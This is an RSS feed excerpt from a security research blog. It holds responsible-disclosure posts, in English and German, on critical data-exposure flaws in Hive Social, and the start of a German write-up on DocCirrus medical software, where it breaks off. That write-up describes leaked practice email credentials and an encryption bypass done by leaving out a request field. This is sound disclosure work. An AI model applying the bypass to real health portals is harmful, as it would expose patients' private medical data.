&lt;p&gt;Of course, we were interested and took a look at Hive from a security standpoint. &lt;strong&gt;We found a number of critical vulnerabilities&lt;/strong&gt;, which we confidentially reported to the company. After multiple attempts to contact the company we finally reached them by phone and they acknowledged the report.
After multiple days and multiple reminders by us, they claimed to fix them within the next two days. However after those two days, multiple vulnerabilities we reported were not fixed and &lt;strong&gt;still existed&lt;/strong&gt; at the time of writing.&lt;/p&gt;
&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	⚠️ &lt;strong&gt;We strongly advise against using Hive in any form&lt;/strong&gt; in the current state.
&lt;/div&gt;
&lt;p&gt;The issues we reported allow any attacker to &lt;strong&gt;access all data&lt;/strong&gt;, including private posts, private messages, shared media and even deleted direct messages. This also includes private email addresses and phone numbers entered during login.&lt;/p&gt;
&lt;p&gt;Attackers can also overwrite data such as posts owned by other users, which we show in the following video:&lt;/p&gt;
&lt;video playsinline controls&gt;
  &lt;source src=&#34;https://zerforschung.org/m/hive/hive-smol.mp4&#34; type=&#34;video/mp4&#34; /&gt;
  &lt;p&gt;Screen recording of the Hive Social App on an iPhone. We are logged in with the zerforschung account, in our timeline are posts from a test account visible. The post &#39;Hello Hive!&#39; is shared by using the share sheet with a custom script. A text input field appears, showing the posts internal id and current text, allowing us to edit the text &#39;Hello Hive!&#39; to &#39;Goodbye Hive!&#39;. Our edit is confirmed, asking us to reload the timeline. The app gets force closed and opened again. The post of the test account is visible in the timeline again, this time with the text &#39;Goodbye Hive!&#39;&lt;/p&gt;
&lt;/video&gt;
&lt;p&gt;To not endanger the privacy of the people currently using Hive even further, we will not be publishing a more in depth analysis at the current time.&lt;/p&gt;
&lt;p&gt;If you need an alternative to twitter, &lt;a href=&#34;https://joinmastodon.org&#34;&gt;try mastodon&lt;/a&gt;. You can &lt;a href=&#34;https://chaos.social/@zerforschung&#34;&gt;follow us on there, too&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll update this post with more details once Hive finally fixed their issues.&lt;/p&gt;
&lt;h2 id=&#34;update-1-poof-the-hive-is-gone&#34;&gt;Update 1: Poof, the hive is gone&lt;/h2&gt;
&lt;p&gt;After our article was published, Hive decided to deactivate their servers. This means the vulnerabilities can no longer be exploited.&lt;/p&gt;
&lt;p&gt;We had a longer call with their developer. He is working on fixing the issues. We will update this post with the promised longer technical writeup at a later time.&lt;/p&gt;
&lt;details&gt;
  &lt;summary&gt;We also reworded a paragraph that said &#34;they claimed to have fixed all issues&#34; due to a miscommunication between Hive&#39;s CEO and us.&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;- After multiple days and multiple reminders by us, they claimed to have fixed all issues. However multiple vulnerabilities we reported **still exist** at the time of writing.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;+ After multiple days and multiple reminders by us, they claimed to fix them within the next two days. However after those two days, multiple vulnerabilities we reported were not fixed and **still existed** at the time of writing.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2022-11-23 - we began with having a look at Hive Social&lt;/li&gt;
&lt;li&gt;2022-11-26 14:36 GMT+1 - Finished writing report, sent emails with a request for confirmation&lt;/li&gt;
&lt;li&gt;2022-11-27 01:25 GMT+1 - First try to reach the CEO by telephone, got call rejected&lt;/li&gt;
&lt;li&gt;2022-11-27 02:21 GMT+1 - Notified other Hive Admins about an urgent email in their support inbox&lt;/li&gt;
&lt;li&gt;2022-11-27 02:41 GMT+1 - Second try to reach the CEO by telephone. She didn&amp;rsquo;t find the report in the support emails, sent again&lt;/li&gt;
&lt;li&gt;2022-11-28 02:48 GMT+1 - Sent email with question about a timeline for fixing the vulnerabilities&lt;/li&gt;
&lt;li&gt;2022-11-28 18:13 GMT+1 - Sent another email to the Hive support address. Also sent an iMessage to the CEO&lt;/li&gt;
&lt;li&gt;2022-11-28 19:38 GMT+1 - Got the first written acknowledgement by iMessage&lt;/li&gt;
&lt;li&gt;2022-11-28 22:15 GMT+1 - Vulnerabilities still open, sent iMessage asking for a timeline again&lt;/li&gt;
&lt;li&gt;2022-11-30 16:30 GMT+1 - Our routine tests indicate that the first vulnerability may be closed&lt;/li&gt;
&lt;li&gt;2022-11-30 21:00 GMT+1 - Released this Post&lt;/li&gt;
&lt;li&gt;2022-12-01 02:32 GMT+1 - Hive deactivated their servers&lt;/li&gt;
&lt;li&gt;2022-12-01 20:45 GMT+1 - Released Update 1&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>⚠️ ZER-Produktwarnung: Hive Social 👉🐝👈</title>
      <link>https://zerforschung.org/posts/hive-de/</link>
      <pubDate>Wed, 30 Nov 2022 22:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/hive-de/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/hive/hive-header.jpg&#34; alt=&#34;Beekeeper opening a beehive, colorized, 2022&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/hive-en/&#34;&gt;This article was also published in english.&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Update: Die Lücken sind aktuell nicht ausnutzbar, da Hive die Server abgeschaltet hat. &lt;a href=&#34;https://zerforschung.org/posts/hive-de/#update-1-und-weg-ist-der-bienenstock&#34;&gt;Mehr Details&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Nach der feindlichen Übernahme von Twitter positionieren sich viele Dienste als Alternative und wachsen teilweise sehr schnell. Einer dieser Dienste ist die App &amp;ldquo;&lt;a href=&#34;https://hivesocial.app&#34;&gt;Hive Social&lt;/a&gt;&amp;rdquo;, die in den vergangenen Wochen die Marke von einer Million Usern überschritten hat.&lt;/p&gt;
&lt;p&gt;Natürlich haben wir uns die App mal genauer angesehen und geschaut, wie es dabei um die IT-Sicherheit steht. &lt;strong&gt;Wir haben dabei eine Vielzahl von schwerwiegenden Sicherheitslücken gefunden&lt;/strong&gt;, die wir natürlich an den Hersteller gemeldet haben. Nach mehreren Versuchen, die Verantwortlichen per E-Mail zu kontaktieren, haben wir die CEO telefonisch erreichen können. Sie hat uns dann bestätigt, dass sie den Report bekommen hat und versprochen, dass die Lücken so schnell wie möglich geschlossen werden.
Nachdem wir die Verantwortlichen in den vergangenen Tagen mehrfach erinnern mussten, sagten sie zu, die Lücken innerhalb von zwei Tagen zu schließen. Nach diesen zwei Tagen waren die Lücken allerdings noch nicht geschlossen und es bestanden zum Zeitpunkt dieses Posts weiterhin schwerwiegende Sicherheitslücken in Hive Social.&lt;/p&gt;
&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	⚠️ &lt;strong&gt;Wir raten aktuell dringend davon ab, Hive Social zu benutzen.&lt;/strong&gt;
&lt;/div&gt;
&lt;p&gt;Die Sicherheitslücken, die wir gemeldet haben, erlauben Angreifer*innen, auf &lt;strong&gt;alle Daten aller Benutzer*innen&lt;/strong&gt; zuzugreifen. Dies betrifft private Posts, private Direktnachrichten, geteilte Bilder und Videos und sogar bereits &amp;ldquo;gelöschte&amp;rdquo; Direktnachrichten und Posts. Zudem ist auch der Zugriff auf E-Mail-Adressen, Telefonnummern und Geburtsdaten, die bei der Registrierung angegeben worden sind, möglich.&lt;/p&gt;
&lt;p&gt;Angreifer*innen können auch fremde Posts verändern, wie in folgendem Video zu sehen ist:&lt;/p&gt;
&lt;video playsinline controls&gt;
  &lt;source src=&#34;https://zerforschung.org/m/hive/hive-smol.mp4&#34; type=&#34;video/mp4&#34; /&gt;
  &lt;p&gt;Bildschirmaufzeichnung der Hive Social App auf einem iPhone. Wir sind als zerforschung eingeloggt, in unserer Timeline befinden sich Posts von einem Testaccount. Der Post »Hello Hive!« wird über die Teilen-Funktion mit einem benutzerdefiniertes Skript geteilt. Es taucht ein Eingabefeld auf, es zeigt die interne ID des Posts und den aktuellen Text. Wir bearbeiten »Hello Hive!« zu »Goodbye Hive!«. Unsere Änderung wird bestätigt, wir werden aufgefordert die Timeline neu zu laden. Die App wird zwangsgeschlossen und neu geöffnet. Der Post des Test-Accounts ist wieder in der Timeline sichtbar - nur diesmal mit dem Text »Goodbye Hive!«&lt;/p&gt;
&lt;/video&gt;
&lt;p&gt;Um die Privatsphäre der User*innen auf Hive nicht noch weiter zu gefährden, veröffentlichen wir vorerst noch keine technischen Details zu den Lücken.&lt;/p&gt;
&lt;p&gt;Falls Ihr auf der Suche nach einer Alternative zu Twitter seid, könntet Ihr euch &lt;a href=&#34;https://joinmastodon.org&#34;&gt;Mastodon&lt;/a&gt; ansehen. Dort sind wir unter &lt;a href=&#34;https://chaos.social/@zerforschung&#34;&gt;@zerforschung@chaos.social&lt;/a&gt; zu finden.&lt;/p&gt;
&lt;p&gt;Wir updaten diesen Post mit mehr Details, nachdem Hive endlich die gefundenen Sicherheitslücken behoben hat.&lt;/p&gt;
&lt;h2 id=&#34;update-1-und-weg-ist-der-bienenstock&#34;&gt;Update 1: Und weg ist der Bienenstock&lt;/h2&gt;
&lt;p&gt;Nachdem wir unsere Warnung veröffentlicht haben, hat Hive beschlossen ihre Server abzuschalten. Daher kann die Lücke aktuell auch nicht mehr ausgenutzt werden.&lt;/p&gt;
&lt;p&gt;Wir haben mit dem Hive-Entwickler telefoniert. Er arbeitet am Schließen der Lücken. Wir veröffentlichen das versprochene Update mit mehr Details zu einem späteren Zeitpunkt.&lt;/p&gt;
&lt;details&gt;
  &lt;summary&gt;Zudem haben wir einen Absatz umformuliert, in dem es Aufgrund eines Missverständnisses zwischen der Hive-CEO und uns hieß, die Firma &#34;[behauptete], die Lücken seien geschlossen&#34;.&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;- Nachdem wir die Verantwortlichen in den vergangenen Tagen mehrfach erinnern mussten, behaupteten sie, die Lücken seien geschlossen. Das ist allerdings nicht so: **Leider bestehen zum Zeitpunkt dieses Posts weiterhin schwerwiegende Sicherheitslücken in Hive Social**.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;+ Nachdem wir die Verantwortlichen in den vergangenen Tagen mehrfach erinnern mussten, sagten sie zu, die Lücken innerhalb von zwei Tagen zu schließen. Nach diesen zwei Tagen waren die Lücken allerdings noch nicht geschlossen und es bestanden zum Zeitpunkt dieses Posts weiterhin schwerwiegende Sicherheitslücken in Hive Social.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2022-11-23 - Wir haben angefangen uns Hive anzusehen&lt;/li&gt;
&lt;li&gt;2022-11-26 14:36 GMT+1 - Report fertig geschrieben, E-Mails mit Bitte um Bestätigung versandt&lt;/li&gt;
&lt;li&gt;2022-11-27 01:25 GMT+1 - Erster Versuch Hives CEO telefonisch zu erreichen. Wir wurden weggedrückt&lt;/li&gt;
&lt;li&gt;2022-11-27 02:21 GMT+1 - Nachricht an andere Hive-Administratoren verschickt, um sie auf eine dringende E-Mail in ihrer Support-Inbox hinzuweisen&lt;/li&gt;
&lt;li&gt;2022-11-27 02:41 GMT+1 - Zweiter Versuch, Hives CEO telefonisch zu erreichen. Sie fand unseren Report nicht in ihren E-Mails, wir haben ihn erneut geschickt&lt;/li&gt;
&lt;li&gt;2022-11-28 02:48 GMT+1 - E-Mail mit Bitte, uns eine Timeline zur Behebung der Lücken zu schicken&lt;/li&gt;
&lt;li&gt;2022-11-28 18:13 GMT+1 - Eine weitere E-Mail an die Hive-Supportmailadresse geschickt. Zudem eine iMessage an die CEO gesendet&lt;/li&gt;
&lt;li&gt;2022-11-28 19:38 GMT+1 - Wir haben nun zum ersten Mal eine schriftliche Bestätigung per iMessage erhalten&lt;/li&gt;
&lt;li&gt;2022-11-28 22:15 GMT+1 - Sicherheitslücken weiterhin offen, wir fragen wieder per iMessage nach einer Timeline&lt;/li&gt;
&lt;li&gt;2022-11-30 16:30 GMT+1 - Bei einer Routineüberprüfung scheint die erste der Lücken geschlossen zu sein&lt;/li&gt;
&lt;li&gt;2022-11-30 21:00 GMT+1 - Produktwarnung veröffentlicht&lt;/li&gt;
&lt;li&gt;2022-12-01 02:32 GMT+1 - Hive haben ihre Server abgeschaltet&lt;/li&gt;
&lt;li&gt;2022-12-01 20:45 GMT+1 - Update 1 veröffentlicht&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Auch dezentral lassen sich gut Patient*innen-Daten verlieren</title>
      <link>https://zerforschung.org/posts/doczirkus/</link>
      <pubDate>Thu, 11 Aug 2022 12:55:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/doczirkus/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/header.jpeg&#34; alt=&#34;Hände in Einweghandschuhen, die sich in einer Arztpraxis dem &amp;amp;ldquo;DocCirrus Datensafe&amp;amp;rdquo; Server nähern&#34;&gt;&lt;/p&gt;
&lt;p&gt;Unfassbar, aber wahr: Auch in Deutschland kommt die Digitalisierung an. Mittlerweile sogar in Arztpraxen. Termine buchen, Akten durchsuchen, Krankschreibungen und Abrechnungen ausstellen – das alles kann mit einer Software erledigt werden. Die kennt dann Praxen und Patient*innen sehr gut – sehr, sehr gut sogar. Genauso unfassbar, aber leider auch wahr: Als wir uns eine dieser Softwarelösungen für Arztpraxen mal genauer angeschaut haben, hat sie sehr viele Daten verloren. Sehr, sehr viele: Von mehr als einer Million Patient*innen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Fast zwei Jahre lang sind wir jetzt zusammen neugierig 🎉 und haben schon viel problematische Software gesehen. Sehr, sehr viel. Aber mehr als eine Million Datensätze, die auf einmal verloren gehen - und zwar sensibelste Patient*innen-Daten inklusive Behandlungsverlauf – das hatten wir bisher auch noch nicht.&lt;/p&gt;
&lt;p&gt;Dabei ist es immer wieder das Gleiche: Wir haben ein schlechtes Bauchgefühl. Wir hoffen, dass wir falsch liegen und die Entwickler*innen sorgfältig gearbeitet haben und es nichts zu befürchten gibt.&lt;/p&gt;
&lt;p&gt;Wir schreiben miteinander Nachrichten. Wir probieren aus. Wir finden eine Sicherheitslücke und ärgern uns, jetzt schon wieder wenig schlafen zu können – denn dann sind wir wieder eine ganze Nacht lang beschäftigt, Sicherheitslücken zu dokumentieren.&lt;/p&gt;
&lt;h2 id=&#34;alle-schlimmen-dinge-beginnen-im-chat&#34;&gt;Alle schlimmen Dinge beginnen im Chat&lt;/h2&gt;
&lt;p&gt;Heute nehmen wir euch mit auf diesem Weg vom Bauchgefühl, zum Arzt und zur nachgewiesenen Sicherheitslücke - und zeigen euch auch unsere Chatnachrichten. Natürlich gekürzt und kuratiert, aber sehr nah an der Realität.&lt;/p&gt;
&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	Mein Hausarzt darf keine Blutwerte etc. per E-Mail verschicken und nutzt deshalb ein &amp;ldquo;Gesundheitsportal&amp;rdquo;. Das sieht auf den ersten Blick schon so aus, als wäre das bestimmt kaputt.
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	👀👀
&lt;/div&gt;

&lt;p&gt;Also öffnen wir einen Browser und darin die Entwicklungstools. Damit können wir uns anschauen, was die Webseite so treibt. In diesem Fall geht es um die Praxissoftware &amp;ldquo;InSuite&amp;rdquo; von DocCirrus. Dort fallen uns sofort einige merkwürdige Dinge auf.&lt;/p&gt;
&lt;p&gt;&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	es lädt auf jeder Seite Google Maps? #yolo
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	Und da wird minified javascript-code in json payloads returned???
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Das ist alles keine Sicherheitslücke, aber schon seltsam.&lt;/p&gt;
&lt;h2 id=&#34;schock-1-ich-sehe-was-was-du-deinen-ärztinnen-schreibst&#34;&gt;Schock 1: Ich sehe was, was du deinen Ärzt*innen schreibst&lt;/h2&gt;
&lt;p&gt;So auch hier: Das zweite zerforschi hatte noch nicht mal Zeit, einen Laptop aufzuklappen, um sich in der Software anzumelden, da heißt es schon:&lt;/p&gt;
&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	Sie leaken die SMTP-Zugangsdaten der Arztpraxis oh boi oh boi oh shit&lt;br&gt;
Damit könnte man bestimmt auch E-Mails abrufen
&lt;/div&gt;

&lt;video playsinline autoplay loop muted alt=&#34;No Way Reaction GIF&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/frazzled.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/frazzled.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Was war passiert?&lt;/p&gt;
&lt;p&gt;Nachdem man sich auf der Website angemeldet hat, bekommt man eine Liste der Praxen angezeigt, bei denen man registriert ist.&lt;/p&gt;
&lt;p&gt;Angezeigt werden dabei nur harmlose Informationen: Wo ist die Praxis? Wann hat sie offen?&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/praxis-liste.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/praxis-liste.png&#34;
         alt=&#34;Übersicht der Praxen im Gesundheitsportal: Zur Praxis werden jeweils Name, Öffnungszeigen und Standort angezeigt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Übersicht der Praxen im Gesundheitsportal: Zur Praxis werden jeweils Name, Öffnungszeigen und Standort angezeigt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Doch in den Entwickler*innen-Tools unseres Browsers sehen wir, dass nicht nur diese Informationen übertragen werden, sondern noch mehr Details. Viel viel mehr Details.
Darunter viel Harmloses, wie die Bankverbindung der Praxis, die E-Mail-Signatur der Ärzt*innen und welche Drucker es in der Praxis so gibt.
Aber eben auch die Zugangsdaten zum Versenden von E-Mails.&lt;/p&gt;
&lt;p&gt;&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	Uffff
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	Puuuh
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	Belastend
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	was jetzt?
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	Ja ich seh schon, da müssen wir nochmal genau drauf schauen
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Zuerst hoffen wir natürlich, dass das Zugangsdaten für ein extra Postfach sind, über das nur E-Mails versendet werden können.
Dann könnten wir mit diesen Zugangsdaten zwar &lt;a href=&#34;https://zerforschung.org/posts/gorillas/#spear-phishing-mit-dem-schleppnetz&#34;&gt;im Namen der Praxis Mails versenden&lt;/a&gt;, aber immerhin nicht mehr.&lt;/p&gt;
&lt;p&gt;Doch wir sehen schnell: In den allermeisten Fällen sind das tatsächlich die vollständigen Zugangsdaten zum allgemeinen E-Mail-Postfach der Praxis (z.B. &lt;a href=&#34;mailto:info@PRAXISNAME.de&#34;&gt;info@PRAXISNAME.de&lt;/a&gt;).
Mit denen könnten wir nun also auch alle E-Mails lesen, die die Praxis bekommt – und darin stehen nicht selten privateste Informationen über Patient*innen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/email.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/email.png&#34;
         alt=&#34;Screenshot der Informationen zu einer Praxis. Neber der Bankverbindung die auch die (im Screenshot geschwärzte) E-Mail-Adresse, der E-Mail-Server und das E-Mail-Passwort zu sehen&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot der Informationen zu einer Praxis. Neber der Bankverbindung die auch die (im Screenshot geschwärzte) E-Mail-Adresse, der E-Mail-Server und das E-Mail-Passwort zu sehen&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	&lt;p&gt;Diese Zugangsdaten wurden bei &lt;strong&gt;jedem&lt;/strong&gt; Aufruf des Portals an die Nutzer*innen übertragen.
Es gibt keinen Weg festzustellen, wer sie dort alles entdeckt hat.&lt;/p&gt;
&lt;p&gt;Daher müssen die Zugangsdaten &lt;strong&gt;sofort&lt;/strong&gt; geändert und alle Mails im Postfach als kompromittiert angesehen werden.&lt;/p&gt;

&lt;/div&gt;
&lt;h2 id=&#34;schock-2-ente-zu-ente-verschlüsselung-alles-nur-quak-&#34;&gt;Schock 2: Ente-zu-Ente-Verschlüsselung: Alles nur quak 🦆&lt;/h2&gt;
&lt;p&gt;Eine Faustregel, die sich leider viel zu oft bewahrheitet hat, ist: Wo eine derart simple Lücke besteht, wurde vielleicht an noch mehr Stellen unsauber gearbeitet.&lt;/p&gt;
&lt;p&gt;Also haben wir uns bei nächster Gelegenheit, es war mal wieder mitten in der Nacht, zusammentelefoniert und die Features systematischer angesehen und ausprobiert.&lt;/p&gt;
&lt;p&gt;&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;dark&#39; data-side=&#39;right&#39; aria-label=&#39;Nachricht&#39;&gt;
	wenn ihr wollt, können wir gerne einen Call starten, kann eh nicht schlafen
&lt;/div&gt;

&lt;div class=&#34;shortcode-chat-bubble&#34; data-color=&#39;light&#39; data-side=&#39;left&#39; aria-label=&#39;Nachricht&#39;&gt;
	Wollte eigentlich bald schlafen gehen, aber was solls
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;DocCirrus wirbt damit, dass die Patient*innen-Daten und Dokumente nicht zentral bei ihnen gespeichert werden, sondern nur in der Praxis - auf einem kleinen Server, den sie den Arztpraxen als &amp;ldquo;Datensafe&amp;rdquo; verkaufen. Dieser ist auch erstmal absichtlich nicht &amp;ldquo;von außen&amp;rdquo; erreichbar.&lt;/p&gt;
&lt;p&gt;Das wirkt auf den ersten Blick gut: Wenn Daten nicht über das Internet erreichbar sind, können sie auch nicht aus der Ferne unberechtigt abgerufen werden. Zudem liegen die Daten dann nicht zentral in einer Cloud eines Anbieters, die alle Daten auf einmal verlieren könnte.&lt;/p&gt;
&lt;h3 id=&#34;aha-und-das-soll-funktionieren-&#34;&gt;Aha, und das soll funktionieren? 🧐&lt;/h3&gt;
&lt;p&gt;Auf den zweiten Blick wirkt das aber auch seltsam: Über DocCirrus sollen Patient*innen eigentlich auf ihre eigenen Daten Zugriff haben, damit sie nicht mehr über unverschlüsselte E-Mails verschickt werden müssen. Wie passt das zusammen?&lt;/p&gt;
&lt;p&gt;Der Hersteller DocCirrus sagt: Mit ein bisschen Cloud und Ende-zu-Ende-Verschlüsselung zwischen Praxis und Patient*in&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;!&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/endzuente.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/endzuente.png&#34;
         alt=&#34;Screenshot aus der DocCirrus-Doku: Ein Klick auf den Link öffnet das Dokument oder Bild in Ihrem Webbrowser, wobei die Übertragung Ende-zu-Ende verschlüsselt erfolgt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot aus der DocCirrus-Doku: Ein Klick auf den Link öffnet das Dokument oder Bild in Ihrem Webbrowser, wobei die Übertragung Ende-zu-Ende verschlüsselt erfolgt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Das soll dann so funktionieren: Die Patient*innen loggen sich in einen zentralen Dienst bei DocCirrus ein – das Gesundheitsportal.
Dieses läuft auf einem Server von DocCirrus, der aus dem Internet erreichbar ist, und hält eine ständige Verbindung zu allen dezentralen Servern in den Praxen.
Wenn nun Daten aus der Praxis gebraucht werden, schickt der Webbrowser der Patient*innen eine Anfrage an den zentralen Server, und der leitet es dann an den Datensafe in der Praxis weiter.
Diesen Dienst nennt DocCirrus &amp;ldquo;blindproxy&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;daten-verschlüsselt-euch-&#34;&gt;Daten, verschlüsselt euch! 🪄&lt;/h3&gt;
&lt;p&gt;Und damit dieser blindproxy nicht mitlesen kann, was Patient*in und Praxis so miteinander für Daten austauschen, verschlüsseln Patient*innen-Browser und Praxis-&amp;ldquo;Datensafe&amp;rdquo; die Daten nochmal so, dass nur diese beiden sie lesen können – und der blindproxy nur unverständliche Zeichenketten durchleiten kann.&lt;/p&gt;
&lt;video playsinline autoplay loop muted alt=&#34;Eimerkette Gif&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/kette.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/dokzirkus/kette.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Aber funktioniert das wirklich? Wir schauen uns näher an, wie die Dokumente übermittelt werden. Dabei geht es um sehr sensible Informationen, beispielsweise um die Ergebnisse von Bluttests oder Befunde von sexuell übertragbaren Krankheiten.&lt;/p&gt;
&lt;p&gt;Wir öffnen also einen Browser und loggen uns wieder im Gesundheitsportal von DocCirrus ein.
Dort werden alle unsere Dokumente aufgelistet. In den Entwickler*innen-Tools stellen wir zuerst fest: Die Liste der Dokumente mit IDs und Abruf-Links wird verschlüsselt übertragen.
Rufen wir ein Dokument ab, sehen wir dann aber: Die Dokumente selbst werden gar nicht Ende-zu-Ende-verschlüsselt übertragen, anders als DocCirrus das behauptet.&lt;/p&gt;
&lt;p&gt;Damit die Liste verschlüsselt werden kann, sendet der Browser mit, an wen verschlüsselt werden soll.
Ganz naiv probieren wir aus, was passiert, wenn wir diese Information weglassen. Wir hätten erwartet, dass der Server hier einen Fehler anzeigt und wir nicht weiter kommen – doch stattdessen wird die Anfrage einfach beantwortet. Unverschlüsselt. 😱&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/mitkey.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/mitkey.png&#34;
         alt=&#34;Screenshot der Anfrage mit gesetzem pubKeyHash_-Attribut. Die Antwort ist verschlüsselt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot der Anfrage mit gesetzem pubKeyHash_-Attribut. Die Antwort ist verschlüsselt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/dokzirkus/ohnekey.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/dokzirkus/ohnekey.png&#34;
         alt=&#34;Screenshot der Anfrage ohne gesetztes pubKeyHash_-Attribut. Die Antwort ist unverschlüsselt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot der Anfrage ohne gesetztes pubKeyHash_-Attribut. Die Antwort ist unverschlüsselt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Das führt das ganze Prinzip der Ende-zu-Ende-Verschlüsselung ad absurdum.&lt;/p&gt;
